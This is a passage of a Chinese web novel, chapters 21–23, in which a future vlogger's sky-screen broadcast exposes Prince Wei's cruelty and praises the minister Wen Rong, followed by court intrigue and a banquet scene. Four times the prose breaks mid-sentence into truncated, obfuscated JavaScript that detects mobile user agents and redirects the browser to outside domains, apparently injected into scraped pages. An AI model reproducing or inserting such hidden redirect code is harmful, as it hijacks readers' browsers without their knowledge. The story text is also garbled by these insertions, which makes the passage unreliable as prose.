而孟雪琪对唐桂贤心心念念,在孟雪琪眼中,唐桂贤却是万般皆好,挑不出任何缺点来的如意郎君。 孟雪姝不愿去多想这些让她烦心的人,她转头望向窗外,眼神中带着羡慕地望着天幕上的许三九。 后世的女孩,看起来是那样的自由和无拘无束。 而且,她尤其喜欢许三九身上洋溢着的蓬勃阳光生命力。 天幕上,许三九声音爽朗地说道: 【对了,为了避免孟相遭到某些装货的指责,我得在这里补充一下,孟相在选择追随我们盛武帝男神以后,就把他过去的经历全都一五一十告诉了盛武帝】 【没错,包括黑子们很爱提及的孟相杀马鹏事件,他也没有隐瞒盛武帝!】 【他甚至还主动跟盛武帝说,如果盛武帝希望的话,他愿意去投案自首,然后,在他说出这话的下一秒,咱们盛武帝男神就直接踹了他一脚,说他是不是脑子进太多水了】 许三九说到这,忍不住自己哈哈大笑了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382555|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孟雪姝脸上也跟着出现了笑意。 虽然许三九并不知道唐桂贤的存在,但孟雪姝却觉得,“装货”这个词用来形容唐桂贤,实在是太贴切了。 【可能有些宝子会觉得盛武帝这样做,是不是因为护短,所以才没让孟相去投案,但我个人认为,这其实主要是和盛武帝的正义观有关】 【因为他在登基后,很快就重新修订了法律,规定说在绑架、拐卖、强.奸这类恶性案件中,受害者如果杀死罪犯,应当按照无罪来处理,不需要承担任何罪罚】 【他给出的修改理由也很直白,那就是“法非从天下,非从地出,发于人间,合乎人心而已”】* 天幕下,听到盛武帝这样的处理方法,霍英忍不住赞同地点了点头,然后朝身边的凌戈小声道: “真是对我脾气!我要是听到那个小年轻说要去投案自首,我肯定也得踹他一脚!” 凌戈轻点下颌,他也觉得那马鹏死有余辜。 就算温容真去投案自首,只要那审案的官员脑子正常,就该判温容无罪释放。 但是,盛武帝在那个时候阻止温容去自首,也是很正确的做法。 马鹏胆敢如此肆无忌惮,显然就是仗着卫王的威势。 若温容当真主动去投案,他指不定就要悄无声息地死在狱牢中的某个角落里。 在凌戈想到卫王的同时,天幕上的许三九也突然提起了卫王。 【还有个很可笑的事情,我差点就讲漏了,趁现在还记得,顺便就跟宝子们提一嘴】 【我在做这个视频之前,搜集了很多的历史资料和学者研究报告,然后我就看到有个学者在他的一篇学术报告中,说他在研究卫王这个历史人物时,发现卫王竟然还曾经试图花重金拉拢温相,想将当时已经在盛武帝身边崭露头角的温相,收买成自己的下属】 【而且,卫王还非常自信,觉得自己的拉拢应该可以成功,毕竟他开出的条件很是丰厚】 【但拉拢的结果如何,相信不用我说,大家肯定也都知道了。毕竟咱们温相又不是脑残,他珍贵的右手是被卫王小舅子砍断的,他最在乎的母亲也是被卫王他小舅子给逼死的。温相没有把卫王也视为复仇对象,那都已经是温相够仁慈善良了!】 “噗嗤!” 天幕下,当着卫王的面,鲁王直接就笑出了声来。 鲁王如今已经自诩自己就是盛武帝。 所以,听说卫王拉拢温容失败的消息后,他自然就觉得卫王是在自己手里吃了瘪。 而见卫王面色铁青地望向自己这边,他更是直接有恃无恐地瞪了回去。 如今在鲁王眼中,自己距离登基只差一步之遥。 所以,卫王这个昔日的死对头,已经不足为惧,属于是落水狗一条。 21.第 21 章 面对鲁王明晃晃的挑衅,卫王此刻心中自然是恼火不已。 但因为他那“小舅子”马鹏闹出来的事情,他如今反而是不敢对鲁王轻举妄动,生怕其他人将注意力转移到自己身上来。 在卫王看来,拉拢温容失败这件事,并不是什么大问题。 真正对他有杀伤力的,是马鹏搞出来的科举舞弊案。 原本,他相较于鲁王的最大优势,就是他在清流文官中更得人心。 可现在,马鹏的事情,直接将他原先所有的努力,都摧毁了大半 可以说,比起鲁王而言,卫王此刻心中竟更恨马鹏多一些。 【既然说到卫王,三九我就突然又想多讲一些。还是那个学者的文章,他似乎对研究卫王真的很感兴趣,所以在另一篇学术报告中,又提及到了卫王一件罕为人知的事情!】 天幕上,许三九模样气定神闲,但天幕下,卫王听到许三九这话,却是不禁神经紧绷了起来。 【看过电视剧《大盛风华》的人都知道,里面那个卫王的形象看起来很儒雅,似乎总是一副谦逊仁厚的模样】 【这个形象要说起来,也不能算塑造错,毕竟历史上,卫王就是以礼贤下士而著称,通过依靠塑造自己仁爱贤明形象的方式,来笼络人心,让人觉得他是个仁德之君】 【但那个学者他在文章中写道,说卫王表面看起来求贤若渴,但实际却是个外宽内忌的卑鄙小人】 【而且,那学者还真不是信口开河,而是真有史料能佐证他这个判断】 【大家都知道,古代那些王爷们,他们府中的很多事都是由下人经手,也就是说,下人们看似卑微不起眼,实际却知道王府的很多内幕秘密】 【而卫王他府上有个下人,偏偏还是个私下爱写日记的日记狂人,时常会把自己在王府里的所见所闻都写进日记中。他后来去世以后,还把自己的这日记也陪葬进了坟墓中。那位学者正是通过研究这些日记,才在其中发现,原来卫王和他小舅子一样,也是个断手狂魔!】 听到许三九这话,卫王霎时间脸色一片惨白,额上也不断冒出冷汗。 【三九我是真的觉得奇怪,卫王和他那小舅子是不是脑子有什么大病,不然为什么就是非得盯着别人的右手不放呢?】 【马鹏是如此,卫王还是如此,而且卫王断别人手这事,甚至还在马鹏之前!】 【宝子们应该都知道吧,古代那些王公贵族都很喜欢在自己府上养上一些幕僚,帮着给自己出谋划策,就有点像是咱们现在的智库】 【卫王他一个想争皇位的人,自然也招募了不少幕僚。而在这些幕僚之中,有一个叫余立鸣的人,在书法一道上,颇有天赋,甚至还有人断言,他假以时日,必将成为书法大家】 【而卫王本身也精通书法,有一次,他和那余立鸣俩人同写一个字,让在场的另一个幕僚品鉴。那幕僚也是个直肠子,直接就说余立鸣的书法远胜卫王。卫王当时面上不露声色,实际心中却因为这事将余立鸣给记恨上了】 【两个星期后,余立鸣离开卫王府回家探亲。在半路上,他骑着的马突然就发起了狂,将他狠狠甩落到地上,并且马蹄还重重地踩了一下他的右手】 【虽然路过的好心人立刻就把余立鸣送到了附近的医馆,但他的右手终究还是因为伤得太重,从此再也使不上力,连握笔的力气都失去了】 【余立鸣本人除了书法外,并没有其他太多才华,所以在右手废了以后,他觉得自己留在卫王府也没有用处,便找到卫王,主动向他提出了请辞,然而,卫王却将他给挽留了下来,说他如今也没有其他去处,不如就留在卫王府,就算他右手不能写字了,但他鉴赏书法的能力还是依然存在的】 【卫王当时这般表态,自然是把余立鸣感动得不行,觉得卫王真是大慈大悲,菩萨心肠!】 【卫王府的其他幕僚,在得知这事后,也都很受触动,纷纷觉得自己这是得遇明主】 许三九说到这,忍不住轻啧了一声: 【刻薄寡恩的卫王,就靠着这件事,又给自己立了一波温良仁厚的人设】 【这个学者的两篇文章链接,我已经放在视频底下了,有感兴趣的宝子,可以自己去看看】 许三九说话时,天幕的视频画面上一直有弹幕划过。 而在听到许三九吐槽的卫王事情后,弹幕更是又爆发出了一波小高潮: 【难怪人家说,不是一家人,不进一家门。合着这个卫王就和他那小舅子一样,都是畜生不如的玩意!】 【不得不说,这个卫王是真的自信,他竟然还敢收买咱们温相?他为什么会觉得他能比得过咱们那霸气侧漏的盛武帝男神啊?!】 【唉,那个余立鸣真是可怜,竟然把仇人错当成了恩人】 …… 天幕下,卫王府,院子中。 卫王的幕僚们,一个个看着余立鸣,都沉默不语,大家脸上表情很是复杂。 许三九在天幕上剧透出来的消息,实在是大大地震惊到了他们所有人。 余立鸣脸色铁青,身体此刻愤怒到甚至在微微发抖。 他刚才听到天幕说马鹏的事情时,心里还替卫王感到委屈,觉得马鹏的事情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16387860|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么能怪罪到卫王头上来。 可现在,他才发现,原来卫王哪里需要他同情。 真正可怜的那个人,是他自己才对! 余立鸣怎么都没想到,卫王竟然如此善妒,不过是旁人夸了他一句,卫王便要对他骑的马暗下手脚。 余立鸣此刻甚至忍不住感到一阵后怕。 他突然觉得,只是废了右手,或许对他而言,其实已经是个幸运至极的结果。 他从前又不是没听说过,疯马将人踩死的事情。 一想到这,余立鸣顿时感觉一股寒意骤然爬上脊背。 他当下连行李都不想收拾了,直接就迈开腿朝外走。 而院中的其他幕僚,看到余立鸣这一举动后,面面相觑了一下,立刻就发现彼此脸上都充满了沮丧。 显然,卫王这条船,已经是必沉无疑了。 天幕上,许三九一脸骄傲自豪地说道: 【不是三九我有粉丝滤镜,但和卫王比起来,盛武帝确实才是真的值得追随的明君!】 【我甚至都觉得,如果拿卫王和盛武帝相比,那都是拉低咱们盛武帝的咖位了】 【还是拿温相的事情举例,盛武帝当年打算任命温相为宰相时,就有人暗中向他劝谏,说一国之相,岂能任用身体残缺之人】 【然后,咱们的盛武帝大大,就直接将那个官员给罢免了】 【他给的理由也很直白明了,那就是一国之官,可以是身体残缺者,但不能是精神狭隘者】 【我知道,网上有些温相的狂热粉,一直叫嚷着,就算没有盛武帝,温相也照样可以闪耀史册】 【我有时看到这些人的言论时,就会忍不住想到辩论赛里那个“伯乐和千里马哪个更重要”的经典辩题】 【我个人是觉得“千里马常有,而伯乐不常有”】* 【我的论据也很简单,那就是,纵观史书,我只看到了温相这么一位独臂宰相】 【顺带一说,连温相本人,我觉得他其实也给出了答案】 【史书上记载,温相晚年时,就曾经对弟子感慨过,说他前半生时,曾经很多次在心中怨怼上天,为何要如此苛待他。但在遇到盛武帝以后,他又突然发现,原来上天其实待他不薄!若是这世间真有来世的话,即使要他失去双臂,他也希望自己能够与盛武帝再相识一场!】 天幕下,江陵府,温家小院。 温容望着天幕,神情若有所思。 他一直都知道自己骨子里,其实是有些清高和孤傲。 他从没想过,他有一天竟然还能做出这样的表态来。 22.第 22 章 【温相觉得,遇到盛武帝是他的幸运,但同样的,盛武帝也非常重视温相这个挚友】 【大概是因为早年遭受迫害的经历,再加上温相自身也是个文人,所以他的身体到底是不如盛武帝健康,比盛武帝早了大概二十多年去世】 【而在他去世以后,盛武帝悲痛到下令停朝七日,日夜亲自为温相守灵诵经】 【因为温相一生未婚,无儿无女,所以就连温相的身后事,也全都是盛武帝一手操持】 【甚至在下葬了温相后,向来身体健壮的盛武帝,还罕见的大病了一场】 许三九说到这,自己也忍不住叹息了一声: 【其实我能理解盛武帝为什么会因为温相的去世,受到那么大的影响】 【他们相识那么多年,且又是能够理解彼此追求的知己好友】 【而且,温相这个人的品性还很是高洁,不然民间也不至于会称呼他为青莲相公】 【这个青莲二字,就是取自“清廉”的意思】 【他对百官很是严厉,但却对百姓极其温柔】 【曾经有个官员听说温相的车架在前面路口,便吓得连声催自家马车夫调转车头方向,躲进旁边的巷子里。直到温相的车架离开以后,那官员这才敢从巷子中出来】 【但就是这样让官员都战战兢兢的温相,在冬天傍晚回家时,看到路边有个衣衫单薄的卖炭老翁正在寒风中叫卖,他会心生不忍,于是买下老翁手中的全部煤炭,且还特意改道,让自家的马车夫先将卖炭翁送回家】 【这样的温相,我相信,只要是个正常人,都绝对会为他的人格魅力所折服】 【这也正是,为什么在盛武帝执政期间,盛武帝总共任命过三位宰相,但最终却只有他和温相,成了明君贤臣的千古典范】 【好了,今天关于温相的视频,三九我就讲到这里了,希望宝子们能喜欢今天这个视频,咱们下期视频再见啦!】 随着许三九话音的落下,天幕也慢慢变暗,随即消失。 江陵府,温家小院。 江陵知府吕杨暗暗打量了一眼温家那简陋的小院,随即,他满脸笑意地朝温容道: “温公子,这边陈设看起来有些萧然陈旧,正好我在附近有座院子目前空置无人住,不如您和令堂住到我那边如何?” 面对吕杨明晃晃的讨好,温容神色淡淡:“多谢吕大人好意,但我和家中母亲已经住惯这边,暂时还没有搬离的打算。” 吕杨堂堂一个知府,在温容这里碰了个软钉子,脸上也丝毫没露出半点怒意,他笑着点了点头: “那也好,不过,若是您和令堂有什么需要帮忙的地方,就尽管叫人到府衙里找我,可千万别和我客气。” 温容轻点下颌:“有劳吕大人了。” 吕杨知道温容此刻肯定需要时间来消耗天幕刚才剧透的那些事情,所以,他很识趣地向温容提出了告别。 而被衙役们捆绑起来的马鹏和马大明这对父子,自然也是被吕杨给押回了府衙。 马鹏在临离开之前,望着温容的眼神,更是充满了怨恨和不甘心,脸上表情狰狞得好似恶鬼。 然而,温容却是连看都没多看他一眼。 毕竟,马鹏已经是个将死之人,温容不觉得自己需要将注意力浪费在他身上。 而在吕杨和马鹏等人都离开以后,原本躲在各自家中院子的街坊邻居们,纷纷打开院门,从院里走了出来。 见温容家的院门已经重新阖上,一众街坊的脸上都不由流露出了艳羡的情绪。 “有这么能耐的一个厉害儿子,温大娘她以后可就是等着享福的命了!” “谁说不是呢,她这下也算是苦尽甘来了!” “这温容可真是厉害,难怪我以前看他,就觉得他跟一般人不一样!” “刘大叔,我怎么记得你先前不是这么说的呀?温容他前阵子落榜那会,你不是还嘲笑过温大娘,说她心比天高,不知道自己儿子几分几两吗?” 骤然间被人翻出黑历史,那刘大叔瞬间是羞得满脸涨红。 巷弄里的隔音不好,所以街坊们的聊天内容,温容和温大娘就算在自家屋中,也都听得一清二楚。 温容望向温大娘,低声说道:“对不起,娘,儿子前阵子让你受委屈了。” “娘有什么委屈的,最委屈的人,是你才对!”温大娘说到这,忍不住又抬手抹了抹眼泪,“还好你今天没出事,不然娘真是杀了那个马鹏都不解恨!” 温容轻轻拍了拍母亲的肩膀,安慰道:“娘,事情都过去了。你看我现在不是好好的吗,连根汗毛都没掉。” 温大娘心有余悸:“这次真是上苍保佑,多亏了那位许三九姑娘。我看我真应该为她以及那位盛武帝陛下立个长生牌,祈祷这两位贵人都能消灾解难,增福延寿。” 温容以前向来不信求神拜佛,觉得子不语怪力乱神,但这次,听到母亲说要帮许三九和盛武帝立长生牌,他却默许着同意了。 …… 皇宫里,正殿上。 鲁王暗暗给自己那一派的势力使了个眼神,当即就有个官员接到信号,站出来朝盛昭帝拱手道: “启禀陛下,微臣有本要奏!卫王身为皇家子弟,本该以身作则,成为朝野之典范,然其德行有失,立身不正,又治家无方,以致皇室清誉受损,民怨沸腾!故臣恳请陛下,数罪并罚,削其王位,以昭陛下之圣明!” 盛昭帝高坐在御座上,微眯着眼睛看那官员。 他知道这官员突然跳出来朝卫王发起攻击,肯定是受到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16394678|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲁王的指使。 但是,对于卫王,他也并没有什么想要袒护的心思,毕竟卫王不过是他的侄子之一罢了。 他声音微沉,宣布道:“卫王世受国恩,却不知珍惜,实在令朕失望至极,亦有忝祖德,愧对列祖列宗!朕今日罢黜其王位,望百官引以为戒,以修身齐家为标尺,时刻自检自省!” 听到盛昭帝处罚如此严厉,竟真的废掉了自己的王位,卫王心中一时间很是不平和委屈。 但雷霆雨露皆君恩,他此刻唯一能做的选择,就是和朝堂上其他官员一起跪地磕头,领旨谢恩。 盛昭帝让众人平身以后,又朝刑部尚书喻承元下令道: “喻承元,朕将江陵府乡试舞弊案交给你来追查!你即日出发前往江陵府,务必将此案彻查到底,还江陵府百姓一个朗朗乾坤!” “是,微臣领旨!” “顾山章,朕记得你也是出身贫寒,且由寡母一手带大。江陵府这次的乡试复试,就由你来担任出卷人和主考官!所有考生都需重新参加这次复试,若是有两次成绩差异过大的考生,你一律交给喻承元那边进行调查!” 被盛昭帝点到名的顾山章,乃是朝中出了名的铁面御史。 性格刚正无私的他,听到盛昭帝的命令后,立刻也神情严肃地表示说一定不会辜负盛昭帝的信赖。 盛昭帝语气果决:“此次江陵府乡试舞弊案,凡是参与作案的官员和考生,一律斩首示众,同时抄没全部家产,其家人亦发配边疆!” “此外,从这次江陵府乡试复试开始,各地乡试录取的试卷,往后皆需誊抄整理成册,公示给应考士子们观看!” 从盛昭帝颁布的一条条命令,朝廷众臣皆感受到了他对于此次乡试舞弊案的愤怒和重视。 至于霍英和凌戈,他俩都是一副眼观鼻、鼻观口的模样,觉得这种关于科举的事情,和他们这种舞刀弄枪的武将八竿子打不着。 盛昭帝在安排好江陵府那边的事情后,很快就宣布了退朝。 不过,和上次一样,他将孟谦这个宰相给留了下来。 而他的这个举措,鲁王看在眼中,就觉得心中很是不满。 他原本还觉得经过今天的天幕,盛昭帝如今该对自己提起重视了。 可盛昭帝对他的态度,还是和先前并没有什么两样。 鲁王心中暗暗想着,他觉得盛昭帝十有八九是嫉妒他在天幕上大出风头,所以这才故意无视他,想要借此来打压他的势头。 虽然盛昭帝不知道鲁王此刻心中的想法,但他若是知道的话,估计也就是笑笑便过去了。 毕竟,他和孟谦希望看到的,就是鲁王如此自信的样子。 这样,他们才好借鲁王当挡箭牌,悄悄在宗室子弟中寻找盛武帝的下落。 23.第 23 章 盛昭帝特意将孟谦留下来,主要是想了解孟谦是否有在宗室子弟中找到盛武帝的线索。 但在盛昭帝期待的目光注视下,孟谦还是轻轻摇了摇头。 盛昭帝见状,顿时就忍不住叹了口气。 孟谦也知道盛昭帝这些年来,一直在为继承人的事情而发愁。 所以,看到盛昭帝面露愁容后,他想了想,便开口安慰盛昭帝道: “陛下,虽然微臣目前并无确定的人选,但通过刚才的天幕,我们至少可以确定那位盛武帝现在的大致年龄。” 听到孟谦这么说,盛昭帝当即望向他,用眼神示意他继续往下说。 孟谦:“我记得那位温容士子三年前考中秀才时,才16岁而已,也就是说,他如今应该是19岁。从三九姑娘在天幕中的口吻来判断,那位盛武帝和温容士子的年龄,显然是相差无几。” 温容三年前参加童生试时,在县试、府试和院试这三个阶段的考试中,皆名列第一名。 因为他当时年纪轻轻,且成绩不凡,江陵府的学政为表现自己教化有功,便在向朝廷递交童生试的成绩结果时,还特意在帖子中提了温容一嘴。 孟谦自幼就过目不忘,所以虽然那帖子并不是什么重要公文,但在天幕提起江陵府和温容时,他脑海中还是立刻浮现出了关于温容的信息。 “19岁吗?”盛昭帝低声沉吟道。 他抬头望向孟谦,问道:“孟相,宗室子弟中,目前年纪在19岁左右的,有多少人?” 孟谦脱口而出:“年龄在16到19岁的,有8人,在20到23岁的,有7人,在23到26岁的,有6人。” 盛昭帝:“再过七日便是皇后的寿辰,我看就在那天,将宗室的子弟们都宣进宫来贺寿吧。” 往年,为了避免劳民伤财,盛昭帝无论是自己的万寿节,还是皇后的千秋节,他都没有大办过几次。 但是今年,为了找机会亲自观察下那些符合年龄条件的宗室子弟,盛昭帝便决定以皇后的寿辰为由,在宫中大办一场寿宴。 孟谦也能理解盛昭帝的想法,因此当即便表示了赞同。 皇后要举办千秋宴的消息,很快就从宫中传到了宫外。 京城的成衣铺子和绣娘们,一时间都忙得不可开交。 凌戈作为受邀的宾客之一,原本也想着重新再买套正式些的成衣,毕竟他从边关带来的衣服不多。 不过,还没等他出门去逛看成衣铺子,于珍就从忠勇侯府那边给他送来了十几套新装。 原来,在凌戈还没回京之前,于珍就已经向霍英写信,要来了凌戈的衣服尺寸。 这几个月里,她带着府中的嬷嬷和丫鬟们,亲手为凌戈绣制了这些衣服。 她原本是将这些衣服都放在给凌戈准备的那个院子里。 但因为凌戈突然搬进了盛昭帝赐下的府邸中,再加上她这阵子事情也多,就忙得一时间忘了这些衣服的存在。 等听到皇后要办千秋宴的消息时,她这才猛然想起,凌戈肯定也需要置办新装的事情,于是急忙将那十几套衣服都送过来给凌戈挑选。 于珍给凌戈做衣服之前,还特意找霍英询问过凌戈的穿衣喜好,所以做出来的每套衣服,都很合乎凌戈的心意。 再加上她尺寸把握得精准,所以凌戈试穿过以后,竟然所有衣服都不需要再重新修改。 见凌戈每套衣服试穿出来都很挺拔帅气,于珍心中不由感到一阵满足和愉悦。 突然间,她脑海中更是浮现了一个念头,而且还越想越觉得好像可行。 于珍望向凌戈,语气试探性地问道:“凌戈,你还记得那位孟大姑娘吗?” 骤然间听到于珍提起孟雪姝,凌戈楞了一下,“您怎么突然提起她来了?” 于珍:“我就是寻思着,要是你觉得她不错的话,我就和你义父去孟相府上帮你提个亲。” 见凌戈眼神充满惊诧和疑惑地看着自己,于珍随即解释道: “我听说,唐家今天上午的时候,上门去跟那孟大姑娘提出了退婚的事情。” “退婚?!”凌戈眉头瞬间拧了起来。 凌戈神情肃然地看向于珍,询问道:“唐家人退婚的理由是什么?” 于珍叹了口气,“说起来,这件事,那孟大姑娘也真是无妄之灾!” 于珍望向凌戈,“你知道鲁王昨天替他母亲老王妃办生辰宴的事情吗?” 凌戈点头,“据说去的宾客很多,鲁王府门前的整条街道都被马车和轿子堵得水泄不通,但是这跟唐家退婚有什么关系?” 于珍:“那位跟孟大姑娘有娃娃亲的唐桂贤,昨天也跟着他父亲唐景荣一起去参加了老王妃的生辰宴。老王妃除了鲁王这个儿子外,还有一个视若珍宝的女儿,也就是鲁嘉公主。” “鲁嘉公主也不知道是昨天临时起意,还是之前就已经对唐桂贤心有所许,竟然当着一众宾客的面,蛮横地要求唐桂贤必须和孟大姑娘退婚,然后成为她的驸马。” 于珍眉头紧皱地说道:“虽然唐桂贤他父亲唐景荣行事老道,昨天在寿宴上就将场面给圆了过去,但从他们今天的行为来看,显然,他们选择了牺牲在这事件中最无辜的孟大姑娘。” 于珍语气带上厌恶:“我听说那唐桂贤在和孟家提出退婚时,还是以自己不想牵连孟雪姝为理由,简直就是虚伪至极!他退婚以后倒是轻松了,但孟大姑娘如果想要重新订立婚约,又哪是那么容易的事情!” 于珍望向凌戈,说道:“我知道凌戈你绝对不是那种会因为女子被退婚,就瞧不起女子的人。你若是对那孟大姑娘还有意的话,我就和你义父私下去探探孟家的口风,看孟家那边意向如何。左右咱们这样的人家,也用不着看鲁王和唐家他们的眼色行事。” 凌戈无法否认,听到于珍的提议时,他有那么一瞬间是心动的。 但很快,他的头脑又因为现实而冷静了下来。 他望向于珍道:“谢谢您的好意,但我和那唐桂贤一样,其实也不是适合她的良配。” 于珍听到凌戈这话,顿时就急了: “你怎么就和唐桂贤那伪君子一样了?我敢保证,若是你遇到鲁嘉公主那样的事情,以你的担当,你就绝对不可能做出像唐桂贤那样退婚的事情来!” “您说得对,我确实不会像他那么怯懦,但我其实也给不了孟大姑娘安稳的生活。” 凌戈望向于珍,声音低沉地说道:“您也知道,等再过阵子,我得带边军重新回到西北边疆,到那时,还不知道什么时候才能再重新回到京师。” “她如果和我结婚的话,她势必得像您过去那样,常年生活在京师,与丈夫分隔两地。” 大盛朝所有带兵在外的将领,其家中女眷都会被安置在京中,这是兵权与皇权想要达到制衡而形成的潜规则。 凌戈朝于珍道:“战场上刀剑无眼,谁都不敢保证自己一定会活到最后。我相信在过去那些年来,您肯定曾经无数次为远在边疆的义父提心吊胆,甚至可能为义父的安危而担心到夜不能寐。” 凌戈:“她是个善良又坚韧的女孩子,所以我更不希望自己拖累到她。” 听完凌戈的理由后,于珍顿时也沉默了。 她无法否认,在过去和霍英分开的那些年,她确实每日都在为霍英的安危而担忧,有时夜里熟睡,梦到霍英出事的噩梦,猛然惊坐而起,才发现自己已经出了一头的冷汗。 而这些忧惧的情绪,她也只能默默消解,不敢告知给霍英知道,担心霍英会因此在前线分神,以至于误了国家大事。 知道凌戈的顾虑后,于珍没有再提起孟雪姝的事情,而是像转移话题般,提起了皇后寿宴上需要注意的事情。 凌戈也希望将自己的注意力从孟雪姝身上转移开,于是,努力将精神集中到了于珍提醒的事情上。 …… 时间转眼即逝,很快就到了皇后千秋宴这一天。 宴会在傍晚时间开始,凌戈作为年纪轻轻就位列正三品的昭武大将军,自然有不少人主动找上他来敬酒。 他虽然酒量不差,但在喝了那么多杯酒以后,到底还是有点上头,便走到了外面,打算透下气。 而他刚走到长廊上,就听到了一道略带尖锐的女声: “孟雪姝,真没想到你今晚竟然还会来参加宴会!我还以为你这会儿,应该是在家忙着看哪家能够让你嫁过去当个填房的继室呢!” 凌戈顺着声音望去,就看到一个打扮得极尽奢华,但面相却有些刻薄的年轻女子正站在孟雪姝面前。 早在刚才寿宴上时,凌戈就已经通过旁人的对话,知道这气焰嚣张的年轻女子,便是鲁王的亲妹妹,鲁嘉公主。 孟雪姝望着鲁嘉公主,神情不卑不亢:“公主都敢来露脸,臣女又有何不好意思?” 自从孟雪姝被唐桂贤退婚的消息传开以后,鲁嘉公主便陷入了舆论的漩涡之中。 绝大多数人都认为她实在是太专横跋扈了,甚至还有御史上奏弹劾她,请盛昭帝对鲁嘉公主降下责罚。 虽然盛昭帝目前尚未给出回应,但这也让鲁嘉公主气得不行,更是将所有的过错都迁怒到了孟雪姝的头上,觉得都怪孟雪姝碍了自己的事。 而蛮横无理的她在看到孟雪姝竟然还敢回怼自己后,气得霎时间抬起手,就要朝孟雪姝的脸上扇。 然而,还没等她的手碰到孟雪姝的脸时,一粒碎石呼啸着破空而来,“啪”一声直接击在了她手腕的脆弱处。 鲁嘉公主瞬间发出了一声凄厉的惨叫声,手臂也无力地垂落了下来。 孟雪姝被这意料之外的变故给吓了一跳。 她顺着碎石来的方向望去,当看到凌戈站在长廊上的清隽挺拔身影后,她霎时间惊得睁圆了眼睛。 随即,她似乎是反应了过来,急忙朝凌戈使了个眼色,示意他赶紧躲起来。 凌戈一开始没照办,觉得自己一人做事一人当,还是孟雪姝气得瞪了他一眼,脸上佯装出恼怒的神情后,他这才转身走进了黑暗中。 婢女小心翼翼地帮着鲁嘉公主抬起手腕。 鲁嘉公主见自己手腕处肿起一个红包,霎时间是气得暴跳如雷,朝自己的婢女们吼骂道: “你们刚才是眼瞎了吗?怎么不晓得替我挡一下那块碎石?你们是不是存心想看我受伤?” 婢女们被她骂得是纷纷低下头,连大气都不敢喘一声。 而她在发泄了一通怒火以后,又转头望向碎石刚才飞来的方向。 见那边空空如也,连个人影都没见着,她瞬间是越发气恼。 “公主,我刚才好像看到孟小姐朝那边使了个眼色。”一个婢女这时突然说道。 鲁嘉公主闻言,瞬间转头瞪向孟雪姝,恶狠狠地开口道: “孟雪姝,你给我老实交代,刚才到底是谁扔的那碎石子砸我!” 孟雪姝神情冷漠:“我不知道。” 鲁嘉公主刚才完全没留意孟雪姝,所以眼下见孟雪姝反应那么平静,一时间也拿不准她是否说的是真话。 而就在这时,不远处传来了一连串的脚步声。 原来,鲁嘉公主刚才发出惊叫声时,皇后正带着各位命妇打算移步后花园赏花。 鲁嘉公主的尖叫声惊扰到了众人,于是皇后便带着命妇们过来,打算看看这边发生了什么事情。 当看到皇后出现,原本还处于对峙状态的鲁嘉公主和孟雪姝等人,都急忙朝她行礼。 皇后五官看起来虽有些平淡,但周身气质却很是雍容华贵。 她让鲁嘉公主和孟雪姝她们都免礼后,又开口问道:“本宫刚才在那边听到了一声尖叫声,你们这边是发生了什么事情吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16399005|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 鲁嘉公主一听皇后问起,顿时就一副忿忿不平的模样: “皇后娘娘,刚才有个贼人竟敢用碎石子打伤了我的手,然后孟雪姝她明明看到了那个贼人的模样,却不肯告诉我到底是谁。” 鲁嘉公主其实心中无法判断孟雪姝是否看清,但她还是说得一副很是笃定的模样。 而鲁嘉的母亲,也就是老王妃,她此刻也站在皇后的身后。 一听到女儿喊说自己被欺负了,她顿时就急得朝皇后开口道: “娘娘,女儿家的手何等娇弱和珍贵呀!这贼人实在是过于嚣张,你可千万得替鲁嘉她做主!” 孟雪姝不愿将凌戈牵扯进这事件中,毕竟凌戈刚才出手助她,也是一片好意。 于是,她努力保持脸上表情镇定,望向皇后说道: “娘娘,刚才天色昏暗,臣女确实并没有看到什么。” 鲁嘉听到孟雪姝否认,立刻尖着嗓子喊道:“娘娘,照我看,你就该直接叫人打她五十大板,看她到时候还敢不敢嘴硬!” 鲁嘉早在从前,就已经对孟雪姝心存嫉恨,只是那个时候,她母亲一直想帮着她哥拉拢孟相,所以总是对她耳提面命,让她在面对孟雪姝时,必须得表现出友善的态度。 